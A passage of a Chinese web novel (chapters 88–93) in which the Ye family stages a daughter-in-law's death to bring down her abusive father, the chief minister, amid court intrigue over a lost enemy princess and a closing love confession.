夜时珽也没闲着旁观,跟着讨伐顾勇,“早前就听说顾大小姐不受宠,没想到竟是真的!顾大人,虎毒还不食子呢,你作为父亲,怎能如此心狠无情?沫儿现在是我们夜家的人,你就算有什么不满大可以冲我们夜家来,为何要将沫儿活活烧死?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第88章 二哥发飙 “大公子,药可以乱吃,话可不兴乱说!”李氏厉声反斥,“沫儿被烧死我们也很难受,可她的死与我们无关!你们不明事实就污蔑我们烧死沫儿,是何道理?” 夜时珽指着不远处满是灰烬的残屋,声声嘲讽,“首辅千金,嫡长女,其身份地位,即便是你这位现任夫人,也是无法凌驾的。可堂堂的首辅嫡长女,在自己家中,与马厩的牲口为邻,首辅夫人执掌中馈,如此苛待嫡长女,就不觉得羞愧?你们能如此明目张胆的虐待嫡长女,试问,还有什么做不出来的?” “你……你血口喷人!”李氏被怼得脸青眼凸。 身为首辅夫人,就算别人知道他们府中有顾思沫的存在,也没人敢指摘她半句。如今被人当面说出来,就差骂她恶毒了,试问她如何能接受? 随即她朝顾勇看去,委屈不已,“老爷……” 然,顾勇一改往日的袒护,这一次非但没有帮着她说话,还突然一巴掌扇向李氏的脸,“你给我闭嘴!” 这场大火,本就烧得他心乱如麻。 太子给的东西丢失了,他还不知道如何向太子交代,现在大女儿这颗棋子又被大火烧死,可以说彻底打乱了他们的计划…… 眼下要是再让人宣扬他们苛待发妻之女…… 旁人宣扬他可以不睬,可这是他大女儿的婆家人,又是帝王重信的将臣,若经他们之口宣扬,那他这首辅脸面何存? 他阴沉着脸扫了一眼夜家父子三人,冷声道,“既然你们认为我顾家冷落女儿,那你们便把人接走吧!” 与其多争执,还不如让他们把焦尸带走,免得晦气! 夜时竣突然停止哭嚎,指着顾勇和李氏破口大骂,“你们顾家凌虐嫡女致死,畜生不如,简直枉为人臣、愧受世人敬重!我妻今死在你们顾家马厩旁,死不瞑目,她一定会化作厉鬼回来找你们讨命的!” 见过女人凶悍泼辣的,可顾勇和李氏还是第一次见有男子如此疯癫泼辣,而且还是对他们泼辣辱骂! 夫妻俩气得心肺都要炸了! 在一旁的顾诗雅也替父母气晕了头,本就傲慢跋扈的她忍不住站出来回骂夜时竣,“一个上不了台面的女人生的孽种,而且还丑成那样,也就你当成宝!她被烧死,那也是她贱,谁让她丑不自知还要抢别人男人,老天看不过眼才给了如此报应!” “啊——”夜时竣吼着朝她飞去,一脚狠狠踹向她! 顾勇和李氏惊恐无措瞪着双眼看着女儿整个身子飞起,接着‘砰’声落在地上! 夜时竣追上前,满身杀气地指着顾诗雅,“小爷我不打女人,但不是不打畜生!你说顾家嫡长女是孽种,那同样姓顾的你便是这世上最没人性的孽种!我都忘了,你还是个未婚便与男人睡上的贱人!你骂沫儿贱,抢走你男人,那也得问我这个男人要不要你!我告诉你,小爷我就是娶头猪也比娶你强!猪有肉吃,你有什么,你只有黑心黑肝,我呸!” 顾诗雅的嚣张已经被他那一脚踹没了。 一个娇生惯养的大小姐,一个常年在战场上打杀的男人,彼此悬殊之大是个人都明白。 落在地上的她可以说就一剩一口粗气了,更别说还能站起来与夜时竣对话。 “雅儿!”李氏嘶吼着跑到女儿身边,心疼地大喊,“来人啊!快叫大夫!” “夜时竣!”顾勇也忍无可忍地怒吼道,“你胆敢在我府上对我女儿行凶,是当我死了吗?就算今日我教训不了你,我也一定要状告到金銮殿,请皇上做主!” 夜时竣抱臂看向他,眼中狠戾不输任何人,“你教女无方,纵容次女辱骂嫡姐贱人,我身为姐夫,代妻教训姊妹,难道不该?顾大人若不要这张老脸皮大可去金銮殿告御状,正好我也想让皇上为我夜家主持公道,身为将门之妇,担着随时守寡的命运,生时受人凌虐,死后被人辱骂,天理何在?” “你……你……”顾勇气得浑身打颤,双脚都差点站不稳,还是一旁管家眼疾手快将他搀住。 也不知道管家在他耳边说了什么,他恶毒地瞪了一眼夜家父子三人,然后在管家搀扶下愤袖离开了后院。 其余家丁也赶紧护送李氏和顾诗雅母女离开后院。 一旁,夜庚新和夜时珽一直没说话,不是他们不想帮忙,而是看着如同阎王附体的老二,父子俩压根不知该如何反应。 自家老二的脾气他们自认为还是了解的,平日里虽嘴欠但是会看人脸色说话,即便偶尔莽撞冲动那也事出有因…… 哪里像现在这般,骂起人来竟比杀敌还凶猛! 待顾家的人全走了之后,夜时竣才深吸一口气,调整情绪,然后对着老爹和大哥招手,“爹、大哥,快些收尸吧!” 他要赶紧把葬礼办了,最好明日就入殓下葬。 早一点入土,沫儿就能早一刻安心! …… 首辅府不远的一条巷口旁。 马车上。 夜时舒关心地问道,“二嫂,你接下来如何打算?是要换身份留下来、还是远走他乡?” 顾思沫朝小窗口叹了口气,“从小到大我就以身为顾家女为耻,最大的心愿就是有天摆脱这个身份。如今心愿已了,我自然是要离开的。” “你走了,那我二哥怎办?”夜时舒揪心道。 “他对我没有男女之情。”顾思沫抬手摸了摸自己平平无奇的脸,自嘲道,“怪我长得不漂亮,没办法吸引住他。” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第89章 不打自招 “二嫂,我二哥可不会以貌取人!”夜时舒赶紧替自家二哥说好话,“我二哥从小到大爱憎分明,从来不在乎美丑贵贱!” 顾思沫冲她笑了笑,“我知道,他真的很正直、很仗义!” 夜时舒汗,“……” 仗义这词儿是能用在夫妻身上的? 顾思沫也看出她的心思,掩嘴笑道,“小妹,你放心吧,我不会马上离开。再怎么样,爹、大哥和时竣如此帮我,我就算一时报答不了他们的恩情,也会同他们告别后再离开的。” 夜时舒也笑。 她是真怕这二嫂一下子就跑了,然后二哥问她要人。 …… 夜家二少夫人在娘家被烧死的消息如同昨夜那把大火很快在京城蔓延开了。 澜贵妃得知消息时,正与太子妃祝华凝在御花园赏景。 气得她直接斥骂,“顾家是如何办事的?昨晚才报消息说拿捏住了顾思沫,这一晚上怎么就被烧死了?” 祝华凝也忍不住恼火,“好不容易才拿捏住人,这说没就没了,那我们这些日子岂不白费心机?” 报信人又说道,“娘娘,听说夜家父子大闹了首辅府,看样子他们是不想与首辅府善了。” 澜贵妃怒道,“把首辅夫人李氏给本宫叫来,本宫要好好问问她,究竟是如何办事的!” 祝华凝一听,忙劝道,“娘娘勿急,夜家刚把人接回去还未发丧,首辅府若不想名声受损,需得低调才行。现在宣李氏进宫,实是不妥。” 澜贵妃气归气,但还是听进了她的话,先按下对首辅府的不满。 …… 对于‘顾思沫’惨死大火之事,夜家的确没打算善了。 不仅没打算善了,甚至第二天早朝时夜庚新就直接当着文武百官的面参奏首辅顾勇—— “皇上,臣要状告首辅顾勇勾结北蔺国!顾勇通敌之证被其长女顾思沫发现,故而将长女顾思沫骗回家中纵火灭口!臣恳请皇上彻查首辅府,严惩首辅顾勇,还其长女顾思沫公道!” 他话音一落,满朝哗然,目光皆震惊无比地全投向顾勇。 就连端坐在龙椅上的尉迟晟都意外地僵住了身形,目光凌厉地瞪着顾勇。 唯有太子和丞相祝志顺阴沉地盯着夜庚新。 “污蔑!纯属污蔑!”顾勇激动地出列,对着龙椅上的尉迟晟跪下,一边指着夜庚新一边诉状,“皇上明鉴!臣自入朝为官以来,忠君爱民、恪尽职守,绝不可能与敌国往来!夜将军完全就是因为臣长女之死记恨上了臣,所有才污蔑臣!” 朝臣队列中,一武将忽然开口问道,“顾大人,您长女在你府中死于大火我们已有所耳闻,那可是您亲骨肉,为何您不伤心,反倒是夜将军这位公爹亲自为她鸣不平?” 顾勇一下子被质问住了,“我……我……”好在他反应快,随即便不满地瞪向那名武将,“谁说我没有伤心?难道我非得在人前哭才叫伤心吗?” 尉迟晟龙颜冷肃地问夜庚新,“夜卿,你说顾勇勾结北蔺国,可有证据?” 夜庚新回道,“皇上,臣手中没有证据。” 尉迟晟怒道,“没证据?没证据那你凭何状告顾勇与北蔺国勾结?” 夜庚新又道,“皇上息怒,顾首辅与北蔺国勾结之事,臣原本也不信的,可沫儿之死,让臣不得不信!” “到底如何回事?你给朕仔细说清楚!”尉迟晟不耐地怒道。 “回皇上,顾勇之长女顾思沫乃臣次子之妇,那日她与臣次子时竣从狱中出来,顾勇夫妇便上门探望。恰逢他们小夫妻身子抱恙,顾勇夫妇边以将军府照顾不周为由强行将人带回了顾家。” “沫儿初嫁进将军府时便同吾儿提过,她在顾家深受苛待,顾家人人容不下她。在被顾勇夫妇强行带走前,她给了吾儿一封信,并告诉吾儿,若她出事,务必将此信呈到御前。” “吾儿一开始并不解她是何意,直到前天夜里,也就是她被顾勇夫妇接回顾家的当晚,顾家马厩失火,沫儿死于大火中……” “吾儿从顾家接回她尸骸,才想起她留下的书信。待看了书信后,才明白顾勇夫妇的所作所为,他们不但勾结北蔺国,还把见过勾结物证的亲生女儿活活烧死了!” 朝臣们竖儿听着。 跪在地上的顾勇朝着夜庚新扯开嗓门吼道,“一派胡言!那火分明就是意外!说我勾结北蔺国,证据呢?你把证据拿出来啊!” 他过激的嗓门让尉迟晟敛紧了双目。 随即沉声问夜庚新,“是何书信?如何能证明顾勇勾结北蔺国?” 夜庚新从袖中取出顾思沫早准备好的信,双手郑重地呈于头顶。 尉迟晟身侧的齐绥走下玉阶,接过书信后返回玉阶上呈给尉迟晟。 尉迟晟拿过信纸展开一看,当即龙颜铁青,从龙椅上怒起! “殿前侍卫何在?” 侍卫统领吴钺立即当人上前领命。 尉迟晟抬手指向顾勇,“立即将首辅顾勇拿下!” 本小章还未完,请点击下一页继续阅读后面精彩内容!侍卫遵令。 顾勇很快被扭押注。 然,不等他开口喊冤,尉迟晟又对吴钺下令,“把顾思沫书信带上,按照书信所指将顾勇勾结北蔺国之证物取来!” 一个时辰后—— 当吴钺带着一套文房四宝及字画出现在金銮殿时,顾勇脸色失血,整个人直接瘫了。 不止他,还有太子尉迟睿和丞相祝志顺,同样神色大变。 尉迟晟走下玉阶,查看完那套文房四宝时就怒不可遏了,等到从字画夹层中拿出那封带有北蔺国皇室大印的感谢信时,他忍无可忍地到顾勇面前,一脚踹出去—— “好你个顾勇,身为首辅,不思为国尽忠,竟敢私通敌国,真是该死!” 顾勇受了他这一脚,倒在地上都不敢喊痛,赶忙翻身跪下,带着哭腔呼道,“皇上……臣冤枉啊……” “冤枉?”尉迟晟满目杀气,冷冽地质问道,“你长女顾思沫可是死在顾家?可是死于大火?你可以说是巧合,可这些罪证是在你书房外的花园中挖出来的,你能说与你无关?” “臣……臣……”顾勇无从解释,只能扭头死死地瞪着夜庚新,“是你!你收买那逆女嫁祸于我!” 夜庚新上前,沉着脸道,“顾大人,作为沫儿的公爹,我只想替她鸣不平,没想过会牵扯出如此厉害的事,更没想到你竟为了掩盖勾结之罪连自己的亲生骨肉都烧害!”他指着证物,嘲讽地道,“难道这些东西还能是我放进你府中的?” 也不知道他那句话把顾勇刺激到了,顾勇一下子理智大失,扯开喉咙冲他吼道,“这些东西明明被劫匪抢去了,为何还会出现在我府中?你就是那劫匪对不对?” 他这震耳欲聋的吼声瞬间让金銮殿鸦雀无声。 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第90章 她是公主 这简直就是不打自招啊! 尉迟睿和丞相祝志顺阴沉着脸,就差被顾勇气吐血了! 只要顾勇打死不认,他们是有办法替他辩解的。比如,如此厉害的罪证为何不毁掉,偏要埋在自己书房外的花园里? 仅是这一点就解释不通。 可他们做梦都没想到,顾勇竟如此沉不住气! 尉迟晟怒指顾勇的手忍不住颤栗,实在是被气狠了,“顾勇!你私通敌国,真是该死!” 顾勇吼完自己都懵了。 再看龙颜大怒的尉迟晟,他满身过激的怒气和戾气刹那间荡然无存,余下的全是心虚和惶恐,双眼中仿佛看到了自己身首分离…… “皇上……臣……臣没有……那些东西……那些东西是……”帝王盛怒的压迫感让他窒息,忍不住想交代。 尉迟睿铁青着脸开口,“父皇,那些东西是儿臣的!” 他这一声,更是惊得殿中官员们瞠目结舌。 尉迟晟同样不敢置信地看向他,“你、你说什么?” 尉迟睿阔步上前,跪地解释起来,“父皇,请您先消气,听儿臣与您道明原位。” “你……你说!”尉迟晟胸膛起伏着,短短的二字都快让他咬碎后牙槽了! “父皇,那文房四宝及字画的确出自北蔺国皇室,那封感谢信也是北蔺国帝王亲笔所书。但其缘由不是儿臣通敌卖国,而是不久前儿臣替北翟国寻到了自小就失踪的五公主!” “儿臣之所以未禀报您,是因为儿臣发现五公主时仅有猜测,不敢确认。于是儿臣便让画师制了五公主的画像,然后派人送去北蔺国。没想到北蔺国派人传话,那女子还真是北蔺国失踪了十余年的五公主。” 尉迟晟没想到这里面竟有如此大的内幕,一时震惊大于怒火,问道,“那五公主现在何处?” 尉迟睿道,“不瞒父皇,北蔺国五公主不是别人,正是儿臣前阵子新晋的良娣骆丽娴!” “什么?是她?”尉迟晟再次惊诧。 满朝官员窃窃私语起来。 人群中,有一人脸色很是难看。 此人不是别人,正是骆丽娴的义父魏广征! 曾经被他们认为上不了台面的孤女,一下子变成他国公主,这云壤之别的身份转变,犹如一记棒槌砸在他脑门上,砸得他脑子嗡嗡作响! 那可是一国公主啊…… 本来该是属于他魏家的荣耀,却被他们亲手推了出去…… 夜庚新的震惊程度不亚于帝王。 之前听说太子把骆丽娴接进东宫做了良娣,他只当太子沉迷女色,并未多想。 如今骆丽娴是那样的身份…… 他不担心别的,就担心骆丽娴与太子在一起做不出什么好事…… 尉迟睿继续说道,“父皇,北蔺国与大邺国多年不合,这次无意中帮北蔺国寻到失散的公主,儿臣便想借此机会修复与北蔺国的邦交关系,让两国不再交战,从此以后和睦往来,使两国百姓都能安居乐业。” 尉迟晟龙颜上已经彻底没了怒火。 北蔺国与他大邺国近年来战事不断,且有不可调和之相。如果有机会能让两国关系缓和,那也是他乐见其成的。 只是…… 他指着文房四宝及字画,不解地问儿子,“这些东西为何出现在首辅府?方才你也听到了,顾勇说什么被劫匪抢去,说明他承认了,这些东西原本就在他手上!” 此时的顾勇捂着心口,就差吐血晕死故去了! 天知道他究竟中了什么邪,竟然会主动交代这些东西被劫…… 他这是自己把自己送上断头台了啊! 尉迟睿扭头,冷冷地瞪了一眼顾勇,“父皇,儿臣之所以没将五公主的事禀报您,就是因为北蔺国赠予儿臣的东西失窃,儿臣担心解释不清才一直隐瞒着。没想到,这些东西竟会被顾勇盗去!” 他所说的一切虽然需要考究,但还算解释得通。 尉迟晟又看向顾勇,满身威压再现,冷声问道,“顾勇,你盗窃北蔺国之物是何用意?” 顾勇心都凉透了! 太子给他按下盗窃之名,分明就是要抛弃他…… 可他能就这样死吗? 他不甘心! “皇上!”他挣开侍卫的手,爬到尉迟晟面前,抓着龙袍袍角,痛哭流涕地道,“臣冤枉,臣真的没有与北蔺国勾结。这些东西的确是臣从太子书房盗走的,但臣没有不轨之心,臣只是认出这些东西与北蔺国有关,担心太子被人误会,便擅作主张把东西盗走藏于家中!皇上,臣忠于您、忠于朝廷、忠于大邺国江山社稷,万不会做出那等通敌叛国的罪事啊!” 尉迟睿斜了他一眼。 心下哼道,还不算太蠢! 尉迟晟眯着眼扫视了一圈,最后视线投向夜庚新,“夜卿,你如何看?” 夜庚新回道,“皇上,北蔺国之物如何来大邺国的臣不清楚,不作置喙。臣只知,臣的儿媳生前被顾大人弃养,与臣次子婚配后仍旧受顾大人及其续弦夫人苛待,最终死于顾家马厩旁。即便顾大人能解释清楚那些物件的来由,可臣的儿媳被至亲所害命丧大火,臣也想替枉死的儿媳向顾大人讨要一个说法!为何生而不养、为何毒害自己的亲生骨肉?” 尉迟晟深吸一口气后,盯着顾勇说道,“这原本是你们两家的家事,朕不该过问。但你长女死在你府中,其死因饱受争议,朕不得不过问。” “皇上……”顾勇还想开口继续为自己辩解。 但这次尉迟晟没有给他机会,扬声道,“御史何在?” 被点名的御史赵吉快速出列,“皇上,臣在。” “顾家嫡长女生平种种,由你去查明清楚!如果让朕知道顾勇真的弃养并苛待发妻所生之女,那便革去他首辅之职!身为朝廷命官,连自己的亲生骨肉都不爱,又谈何爱民如子?哼!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第91章 夫妻反目 “是!”赵吉领命。 满朝官员纷纷垂视脚下,没一个人敢站出来帮顾勇说话。 就连太子尉迟睿和丞相祝志顺都别开脸,不想再多看一眼。 皇上不知顾家的事,他们这些与顾家交好的人难道还不知?就顾勇夫妇对嫡长女顾思沫做的那些事,他们都没脸替顾勇说话! “太子!”尉迟晟又点名。 “儿臣在。” “随朕去御书房!” “是!” 随着父子俩离开,齐绥高声宣道,“退朝!” 看着颓然瘫坐的顾勇,夜庚新并不解气。 可北蔺国之物太子已解说了来由,他现在也不能再拿‘通敌叛国’这事针对顾勇。 一想到骆丽娴竟是北蔺国五公主,他也不再耽搁,以最快的速度回府—— …… 将军府还办着假顾思沫的丧事。 夜时舒昨日就和尉迟凌来了将军府,用她的话来说,作戏要作全套,如果她这个小姑子都不回来奔丧,肯定是会让人起疑的。 兄妹三人齐聚一起,等着夜庚新上朝的消息。 按照他们的预想,这次顾家就算不被灭族,好日子也到头了。 可他们做梦都没想到,夜庚新竟带回来惊人的消息。 “骆丽娴是北蔺国五公主?!”兄妹三人同声惊呼。 就连车轮椅上正吃茶的尉迟凌都惊诧地抬起头望着夜庚新。 夜时舒恍然大悟,“就说太子口味怎那般重,别人的女人,还是刚小产后的女人他都好不嫌弃,还不顾流言蜚语受进东宫做良娣,原来他早发现骆丽娴不是寻常人!” 夜时珽问道,“爹,我们与北蔺国素来不合,近几年更是恶战不断,仅凭一个失踪多年的五公主,能让两国转敌为友?” 夜庚新道,“皇上早有休战的意思,如果骆丽娴真能改善两国关系,她和太子也算为两国做了贡献。” 说完,他朝车轮椅上的女婿看去,“王爷,你以为呢?” 尉迟凌勾了勾唇角,“若骆丽娴真是北蔺国五公主,那本王自是要恭贺她与太子喜结良缘。” 闻言,夜庚新不满地皱起眉,“他们对你和舒儿都不友善,你怎么还贺上了?” 夜时舒瞧着尉迟凌唇角上别有深意的笑,突然猜到一些,于是说道,“爹,如果骆丽娴真是北蔺国公主,最该着急的不是我们,而是太子妃!” “……” “您想想看,北翟国五公主做太子良娣,那不是羞辱北蔺国吗?可他要是给骆丽娴抬高位份,就算丞相府能理解,太子妃心里能不膈应?我想太子一直没宣扬骆丽娴的身世,应该是有这些考量的。只是他没想到,北蔺国那些东西没被顾勇利用好,反而险些反噬到他们自己身上,所以才不得不交代骆丽娴是北蔺国五公主的事。” 听完女儿的话,夜庚新细细一琢磨,也觉得有些道理。 夜时舒笑了笑,安慰他,“爹,不管骆丽娴是不是北蔺国五公主,我们与太子一党都结下了梁子。咱们把心放宽些,正所谓兵来将挡水来土掩,您说是吧?” 夜庚新没好气地剜了她一眼,“你这话说了等于没说!” 一直没开口的夜时竣突然说道,“其实我现在最好奇的是魏家的反应!骆丽娴原本是魏永淮的女人,曾经上不了台面的孤女如今变成了一国公主,他们会不会肠子都悔青了?” “噗!”夜时舒忍不住喷笑,“二哥,你要不提,我都没想起他们!” “没事,那玉娘不是被魏广征接进府里了吗?回头把她找来,当面问问她魏家的反应!”夜时竣笑说道。 夜庚新瞧着不着调的儿女,没好气地道,“灵堂还在那呢,赶紧烧纸哭丧去,皇上要查顾勇苛待沫儿一事,一定会派人来我们府中查看沫儿的死因。我们都做到这一步了,可不能让人抓到漏处!” “好!”夜时舒笑着应道。 这一次他们也没指望能扳倒太子,只想对付顾家罢了。 尽管没能让顾家被抄家,但皇上既然当着文武百官的面发了话,那他们势必要配合到底,让顾勇丢官去职! …… 魏府。 正如夜时竣说笑的那般,得知骆丽娴是北蔺国五公主,葛氏难以接受,抓着魏广征不停追问,“确定吗?她真是北蔺国五公主?会不会是太子为了保住顾首辅而胡编乱诌的?” 魏广征黑沉着脸道,“这种事,太子能胡诌?” 葛氏瘫软地坐到椅子上,嘴里喃喃道,“她怎么就成了公主了?她本该是淮儿的女人,我们淮儿该是北蔺国驸马才对……” 魏广征厌恨地瞪着她,“还不都怨你狗眼看人低!以前淮儿要娶她为妻,你非说她来历不明、无亲无靠,配不上淮儿!现在好了,一个将军府嫡女、一个北蔺国公主,全都让你作没了!” 葛氏忽地从椅子上蹦起,指着他鼻子反骂道,“你还有脸骂我?难道你就没狗眼看人低?” 魏广征怒道,“这些年家中大小事都是你把持,本以为你是个精明的,没想到是我看走了眼,竟让你这个蠢妇摆布!你知道现在有多少人在看我们父子笑话?这可都是拜你所赐!” 自从他迷上烟花柳巷之地,葛氏就对他怨恨上了。在他花几千两银子把勾栏院的玉娘领回府后,葛氏亲眼目睹他被玉娘勾走魂儿的样子,更是恨不得宰了他和玉娘。 现在又听他如此厌恨自己的话,葛氏直接炸毛,抓起桌上茶盏就朝他砸去,破口大骂,“你个没良心的狗东西,我为你们父子操持这么多年,你不但不感激,还领着贱人进门羞辱我,你信不信我现在就去杀了那贱人?” “你敢!”魏广征也炸毛了,怒不可遏地指着她回骂,“玉娘温柔单纯,不是你这个心肠狠毒的女人能比的!你要敢动玉娘一根毛发,我一定休了你!” 正在这时,一抹娇柔的身影步入厅堂。 那玲珑有致的身段,走起路来婀娜多姿,似有万般风情藏于娇身中,更别提她还有一张千娇百媚的脸,那勾魂摄魄的眼睛,活脱脱狐狸精转世,恨不得勾掉天下所有男人的魂儿。 “老爷,您怎么又为了玉娘同夫人吵架呢?”玉娘温柔地贴上魏广征,纤纤玉指轻抚着他的胸膛,眸波半是心疼半是自责地望着他,“您要气,就该气玉娘。要不是玉娘来魏府,您就不会同夫人如此争吵了。每每看到您同夫人吵架,玉娘真的好心疼、好愧疚。” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第92章 她走了吗 “玉娘,你无需说自责的话。”魏广征被她柔软的身子依偎着,只觉得自己整个人都酥了,怜爱的搂住她不说,还安慰她,“你进府不久,还不清楚她的脾气,她就是个自私善妒的人,你别把她的话放心上。” “老爷,我今日在府中等了您一日,有个好消息想亲口告诉您。”玉娘眼中多了一抹娇羞,原本抚着魏广征胸膛的纤手突然放在自己小腹上,“我这月的月事没来,便让丫鬟偷偷请了大夫为我诊脉,没想到大夫说我有了。” “什么?” 两道惊呼声同时响起。 一道激动兴奋。 一道激动愤怒。 魏广征还来不及说什么,葛氏便猛地冲向他们,想把玉娘从魏广征身上拉开—— “你这个勾栏院出来的贱人,你也配生孩子?就算你有孩子,你个千人枕万人睡的贱货,谁知道这孩子是哪个野男人的!” “啊啊……”玉娘吓得惊叫连连。 也不知道她哪来的力气,面对葛氏的蛮横,她死死抓着魏广征的衣襟,硬是没让葛氏把她扯开。 魏广征的怒火直接冲上天灵盖,赶紧把玉娘拉到身后,然后挥起大手狠狠地扇向葛氏! ‘啪’! 重重的巴掌声不亚于玉娘的惊叫声。 葛氏瞬间让他这股蛮力摔倒在地。 “噗!”她不受控制地吐出一口血,伴随血水落地的还有一颗大牙,她颤抖地看着那颗牙,然后指着魏广征,厉声嘶吼道,“魏广征,我要状告你宠妾灭妻!” 魏广征铁青着脸回她,“我毁了你吗?分明就是你想毁掉玉娘府中的孩子!你要有胆大可去告,我也想让人评评,到底是你自私善妒、德不配位,还是我宠妾灭妻!” 说完,他转身搂着玉娘,紧张不安地道,“玉娘,快回房去,别让这个恶妇伤着你!我这把岁数,就一个儿子,全是那女人肚子不争气所致,如今你让我老来得子,我必定不会负你!” “老爷,别这么说,您正值壮年,龙精虎猛,玉娘身子年轻,只要老爷愿意,您想要多少孩子玉娘都会为您生。” “哈哈……那玉娘可要说话算话哦!” 厅堂里。 望着他们相拥而去的背影,听着他们贬低自己以及毫无廉耻的对话,葛氏一手捂着被打肿的脸,一手捂着又痛又狠的心口,凌厉的目光如同藏了万箭,恨不得把他们射死! 丫鬟蹲下身,心疼无比又小心翼翼地将她搀扶起,哽咽劝道,“夫人,老爷已经被那个贱人迷了心智,您不能再同老爷起争执了。您越是与老爷计较那贱人的事,越是把老爷推向那贱人啊!” 葛氏咬牙痛恨,“可是我不甘心啊!我与他夫妻二十载,他怎能因为一个勾栏院的贱人而羞辱我?” 想到什么,她目光越发毒辣起来。 那贱人还想生孩子…… 做梦! 她绝对不会允许任何贱种分夺她儿的一切! 另一边。 如今在礼部当值的魏永淮也听到了骆丽娴是北蔺国五公主的消息。 他找了个借口下值,但没回魏府,而是去了一间偏僻的酒馆,把自己喝得酩酊大醉。 曾经做过的那个梦一直存留在他脑海中。 他已经能够确定夜时舒也做过同样的梦,所以才舍弃他们的婚约投奔承王的怀抱。 可他不明白,为何上一世骆丽娴什么身份背景都没有,这一世却突然变成了北蔺国的公主! 两个女人,都是非富即贵。 明明都该是属于他的,可是他一个都没能得到…… 一个都没能得到…… 他不明白,为什么会变成这样? …… 早朝上的事也惊动了澜霞宫的澜贵妃。 祝华凝正好在她身旁,听到消息时端庄的她脸色瞬间失血。 澜贵妃先是恍然大悟,“难怪太子不顾非议非得把人接进东宫,原来那女人大有来头。”她瞧着祝华凝面上隐忍的怒火,起身走到她面前,拉起她的手,笑着安抚她,“太子妃不必为此介怀。她就算是北蔺国公主又如何,最多也是修复两国关系的棋子。即便因为她让大邺国和北蔺国修复关系,她作为和亲的公主,也会被皇上和太子处处防备的。” 听她说完,祝华凝面色这才稍微好转了些。 也是。 一个敌国和亲公主,谁敢重信? 就算太子傻,父皇也不会犯傻的。 不过骆丽娴有那样的身份,是真膈应到她了。原本一个被收捡进东宫的残花败柳,她不屑一顾的,往后见着这么个下贱东西,怕是还得让她这个太子妃对其礼让三分。 …… 将军府。 宫里来了人,还带来了仵作,验查了‘顾思沫’被烧焦的遗体。 三日后。 圣旨下降,顾勇身为首辅,不敬发妻,弃养嫡女,私德败坏,盛名之下其实难副,不堪为用,革去其首辅之职,废其功名,贬为庶民。 听到这消息,夜时舒一家虽觉得不够解气,但也在意料之中。 这章没有结束,请点击下一页继续阅读!毕竟通敌叛国的嫌疑已经让太子给化解了。认真计较起来,私德败坏这点就让顾勇丢官去职变成庶民,其实已经是重罚了。 但凡帝王心软几分,最多也就降职发落,起码功名还在,将来也有翻身的机会。 圣旨降下当天,将军府举行了出殡下葬仪式。 顾家嫡女死于顾家纵火中,随着顾勇私德败坏的名声散播开来,夜家趁机宣告从此与顾家再无姻亲关系。 而顾思沫也算是彻底摆脱了顾家女的身份。 当晚。 夜时竣便急不可耐地到承王府问夜时舒要人。 “小妹,沫儿现在在哪?她不会一言不发就离开京城了吧?” “二哥,如果我说二嫂离开了,你会怎样?”夜时舒看他那着急样,忍不住想逗他。 但没想到夜时竣直接当真了,瞬间垂下双肩跌坐在椅子上,“她走了吗?就这么走了?一句话都没留?” 夜时舒假装不解地问他,“二哥,我当初可是听到你和二嫂在酒馆的对话,你们成亲可是各取所需。现在她帮我们夜家同顾家划清了界限,让太子一党的计谋落空,而你帮她摆脱了顾家女的身份,你们合作愉快,皆大欢喜。她离开,不是很正常的吗?” 顿了一下,她又假装惊讶,“二哥,该不会你喜欢上她了,所以舍不得她离开?” “喜欢……”夜时竣目光突然涣散起来。 “怎么,你不喜欢她啊?既然不喜欢,那你在意个什么劲儿?她这样离开,不是更好?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第93章 真情表白 “我……我……”一向能言善辩的夜时竣突然结巴起来。 “你什么你?时候不早了,赶紧回将军府去吧。你要真想娶媳妇,改日让爹找媒婆好好帮你挑选,咱们夜家的男儿不愁娶不到媳妇的。”夜时舒将他从椅子上拉起来,然后往厅门外赶。 眼看着就要被自家妹子推出门了,夜时竣猛地转过身,双手抓住她的肩膀,方才还涣散无措的眼神赫然变得坚定。 “小妹,她到底在哪?我不要娶什么媳妇,她就是我媳妇,我这辈子只认她一人!” 夜时舒掩嘴失笑,“二哥,你真喜欢上她了?” 从她这笑容中,聪明如夜时竣,如何看不出来自己被小妹耍了?可他并没生气,反而想也没想地点头,“是,喜欢上她了。” 夜时舒眨了眨眼,“那你喜欢二嫂什么?我瞧着二嫂对自己的容貌很不自信,你要是说不出个理由来,恐怕不容易打动二嫂。” 夜时竣垂下眼眸。 喜欢她什么? 她在人家装自卑懦弱,按理说这种表里不一的人他应该讨厌才对,可是他却从她的表里不一中看到了她的爱憎分明、能屈能伸、聪慧理智…… 他以前做事总是随性而为、不计后果、冲动莽撞,甚至自诩这就是铮铮男儿的血性。可跟她在一起之后,他才发现,原来人是可以有多面的。 又不做伤天害理之事,适当地伪装自己,有何过错? 何况私底下,她活泼伶俐、自信果敢,都只为他展露,他更应该感到高兴才对! “小妹!”回过神来,看着自家妹子一脸促狭的笑,他哭笑不得,赶紧哄道,“你快告诉我吧,等二哥把她接回来,二哥把这些年所有的私产全给你!” “噗!”夜时舒忍不住喷笑,“你把私产都给我了,拿什么养二嫂?” “大不了我以后带着你二嫂来承王府蹭饭!”说着话他抬起头朝厅堂里一直吃茶看戏的某妹夫看去,咧着嘴笑道,“王爷,您应该没意见的,对吧?” 某爷,“……” 夜时舒一听他这话,吓得赶紧推他,“得得得……你还是赶紧去找二嫂吧,就在王府后山的溪水边!” 闻言,夜时竣笑着嘴都合不上了,拔腿就跑。 夜时舒听着身后响起的车轮声,转身看去,笑着问他,“王爷,要不要去瞧瞧?” 尉迟凌丰眉微蹙,“有何好瞧的?” “你不去,那我自个去了!”夜时舒说完便要转身。 但手突然被捉住。 她扭头再次看着他。 尉迟凌不发一言,从车轮椅上起身,然后牵着她步出厅堂,避开有侍卫的地方,带着她从阴暗无人的角落离开王府—— 后山溪水边。 